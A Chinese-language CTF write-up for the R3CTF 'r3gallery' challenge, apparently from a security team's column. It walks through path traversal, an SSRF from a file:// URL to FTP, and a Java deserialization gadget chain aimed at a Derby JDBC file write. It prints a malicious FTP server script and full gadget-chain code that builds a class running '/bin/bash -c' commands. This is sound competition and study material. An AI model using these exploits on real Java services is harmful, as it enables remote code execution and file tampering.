专栏名称: ChaMd5安全团队
一群不正经的老司机组成的史上最牛逼的安全团队。小二,来杯优乐美。
目录
相关文章推荐
每日读报60秒  ·  今日早安心语日签 ·  4 小时前  
每日读报60秒  ·  今日早安心语日签 ·  2 天前  
冯唐  ·  中年叛逆:我给自己画饼 ·  4 天前  
洞见  ·  摆脱社交内耗,从4次放下开始 ·  3 天前  
51好读  ›  专栏  ›  ChaMd5安全团队

R3CTF r3gallery 题解

ChaMd5安全团队  · 公众号  ·  · 2024-06-22 08:00

正文

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组


本题考点如下:

  1. canonicalPath 路径穿越、 file:// 前缀 ftp 协议利用
  2. 反序列化触发 getConnection
  3. derby-client jdbc 任意文件写入

比赛的时候卡在一个很蠢的问题上-.-有点可惜。

canonicalPath路径穿越、file://前缀ftp协议利用

/api/decompress 接口会读一个指定的文件,不过有 file:///heavy_images/ 前缀限制。读完文件内容后会走原生反序列化。

String processedPath = PathUtils.canonicalPath("file:///heavy_images/" + path);
if (processedPath == null || !processedPath.startsWith("file://")) {
 return "Invalid".getBytes(StandardCharsets.UTF_8);
}
FileUrlResource fileUrlResource = new FileUrlResource(new URL(processedPath));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fileUrlResource.getInputStream().readAllBytes());
InputStream is = new GZIPInputStream(byteArrayInputStream);
ObjectInputStream sois = new ObjectInputStream(is);
ImageBean image = (ImageBean)sois.readObject();

思路一是利用 tomcat 缓存临时上传文件的特性,通过一边上传文件一边竞争 fd 就可以反序列化我们指定的内容,该方法成功率不高且不太优雅。

这里通过 new URL 读取 file:// 前缀还有另外一种解法,其实 java file 协议可以打 ftp 利用。跟一下 getInputStream 调用, openConnection 这里会取 host

热知识: file 协议是支持 host 的,如 file://127.0.0.1/etc/passwd

getInputStream 逻辑的话发现如果 host 不为空并且不是 localhost ,那么会通过 ftp 协议请求远程资源。

image-20240621002959761

因此我们可以伪造 ftp server ,最终指定 processedPath file://ftp_server/flag 即可控制靶机向 ftp server 请求我们指定反序列化的内容。

canonicalPath 这里考察的是前段时间 Nexus-Reposity 的任意文件读取漏洞。不过也没有考察到漏洞本质,实际上就是很正常的通过 ../ 就能消去一个 /

image-20240621003013075

PS:不能完全相信 JD-GUI 的反编译结果,只能说和 fernflower 各有千秋吧。比赛的时候用 JD-GUI 反编译出来的 canonicalPath 逻辑居然和原版是不一样的,导致根本没有 normalize 路径。

既然可以将 processedPath 修改为 file://127.0.0.1/xxx 的形式,那么写一个恶意 ftp server :

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0'21))
s.listen(1)
conn, addr = s.accept()

conn.send(b'220 welcome\n')
print(conn.recv(1024))
conn.send(b'331 Please specify the password.\n')
print(conn.recv(1024))
conn.send(b'230 Login successful.\n')
print(conn.recv(1024))
conn.send(b'200 /etc/passwd\n')
print(conn.recv(1024))
conn.send(b'1 to Passive.\n')
print(conn.recv(1024))
# linux
# conn.send(b'227 Entering Extended Passive Mode (127.0.0.1,0,900)\n')
# windows
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,900)\n')
print(conn.recv(1024))

conn.send(b'221 Goodbye.\n')
print(conn.recv(1024))
conn.close()

被动模式:

import socket
import base64
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0'900))
s.listen(1)

evil_based_string = "MQ=="
evil_bytes = base64.b64decode(evil_based_string)

conn, addr = s.accept()
conn.send(evil_bytes+b'\n')
print("ok")
conn.close()

至此,完成了通过 ftp 协议加载任意反序列化内容。

反序列化触发getConnection

反编译题目给出的 war 包可知远程为 jdk15 ,而题目又提供了一个 getConnection ,结合 derby 依赖应该是打 derby jdbc 攻击。

/*    */   public Connection getConnection() throws SQLException {
/*  9 */     DriverManager.getConnection(this.conStr);
/* 10 */     return null;
/*    */   }

观察到 PendingDataSource 接口类只有一个 getConnection 方法,因此可以通过 JdkDynamicAopProxy 封装 POJONODE 进而稳定触发 getConnection 方法。

整条链子: XString-->POJONODE#toString-->CustomDataSource#getConnection-->deby jdbc attack

package com.galery.art.tools;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.zip.GZIPOutputStream;

public class r3a {

    //BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
    public static void main(String[] args) throws Exception {
//        final Object template = GadgetUtils.createTemplatesImpl(SpringBootMemoryShellOfController.class);

//        final Object template = GadgetUtils.templatesImplLocalWindows();
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        // 将修改后的CtClass加载至当前线程的上下文类加载器中
        ctClass.toClass();

        POJONode node = new POJONode(makeTemplatesImplAopProxy());
        Object o = xString1(node);
        serialize(o);
    }

    public static String serialize(final Object obj) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("squirt1e.ser");
        serialize(obj,fileOutputStream);
        fileOutputStream.close();
        return "test1.ser";
    }
    public static void serialize(final Object obj, final OutputStream out) throws IOException {

        GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(gzipOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        gzipOutputStream.finish();

    }
    public static Object xString1(Object node) throws Exception {
        XString xString = new XString("Squirt1e");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",node);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",node);

        Object o = makeMap(map1,map2);
        return o;
    }

    public static HashMap makeMap (Object v1, Object v2 ) throws Exception{
        HashMap s = new HashMap();
        setFieldValue(s, "size"2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.classObject.classObject.classnodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static void setFieldValue(Object obj1,String str,Object obj2) throws NoSuchFieldException, IllegalAccessException {
        Field field2 = obj1.getClass().getDeclaredField(str);//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(obj1, obj2);//设置queue的comparator字段值为comparator
    }

    public static Object makeTemplatesImplAopProxy() throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        CustomDataSource customDataSource = new CustomDataSource();
        setFieldValue(customDataSource,"conStr","jdbc:derby://xxx");

        advisedSupport.setTarget(customDataSource);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{PendingDataSource.class}, handler);
        return proxy;
    }


    public static TemplatesImpl getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, InstantiationException, IllegalAccessException {
        String cm = "new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}";
        return createTemplatesImpl(cm);
    }

    public static TemplatesImpl createTemplatesImpl(String cmd)throws CannotCompileException, NotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchFieldException{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("SOTA");
        //本机测试
        if(cmd.contains("calc")){
            cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        }else {
            cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec("+cmd+");");
        }
//        System.out.println("java.lang.Runtime.getRuntime().exec("+cmd+");");
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name""Squirtle");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());
        return templates;
    }
}

触发 getConnection

image-20240621003030537

链子倒是好写,但题目依赖提供的 derby-client 从未见过,网上传的 derby jdbc 反序列化没有太多用处,因为题目本身就是个无限制的反序列化。

接下来需要调试 derby-client 看看有没有新的利用。

derby-client jdbc任意文件写入

这里有个坑,反编译 war 得到的 derby-client.jar IDEA 里不能 DEBUG ,会显示行号不匹配?比赛时就卡在这里了,不能调试的话完全没有做题欲望。

解决方案是下载官网提供的 db-derby-10.14.2.0-lib-debug 版本:

https://db.apache.org/derby/releases/release-10_14_2_0.html

使用该版本可以正常调试:

image-20240621003129006

看解析 jdbc 连接串的逻辑,解析逻辑对应的实现是 tokenizeXXX 开头的方法。让大模型读一遍或者自己调一遍可知前缀需要为 jdbc:derby//ip:port/ 的格式。

image-20240621003152545

tokenizeURLPropertiess 是用来解析属性的,属性这里以;为分隔符。 tokenizeAttributes 是把属性字符串(这里为;create=true;)塞到 properties 当中。

image-20240621003219213

而接下来会解析 traceLevel ,这里了解过 pgsql jdbc 攻击的话很容易联想到这里可能会有 log 日志导致的任意文件写入问题。







请到「今天看啥」查看全文